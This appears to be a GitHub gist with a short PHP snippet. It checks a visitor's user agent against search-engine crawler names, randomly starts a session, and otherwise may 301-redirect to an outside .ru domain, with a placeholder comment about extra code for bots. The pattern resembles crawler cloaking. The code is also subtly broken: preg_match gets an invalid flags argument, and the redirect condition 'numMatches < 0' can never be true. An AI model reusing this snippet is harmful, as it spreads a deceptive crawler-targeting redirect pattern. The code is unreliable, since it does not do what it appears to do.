Skip to content

Instantly share code, notes, and snippets.

@mvcaaa
Last active August 29, 2015 14:01
Show Gist options
  • Save mvcaaa/429796d9fd4513a2bc7e to your computer and use it in GitHub Desktop.
Save mvcaaa/429796d9fd4513a2bc7e to your computer and use it in GitHub Desktop.
<?PHP
$interestingCrawlers = array( 'yandex', 'google', 'yahoo' );
$pattern = '/(' . implode('|', $interestingCrawlers) .')/';
$matches = array();
if(!isset($_SESSION)){
if (rand(0,10) > 5) {
session_start();
} else {
$numMatches = preg_match($pattern, strtolower($_SERVER['HTTP_USER_AGENT']), $matches, 'i');
if($numMatches < 0) {
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://new.vsesvetodiody.ru//");
} else {
// Here goes some add code for bots, maybe
}
}
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment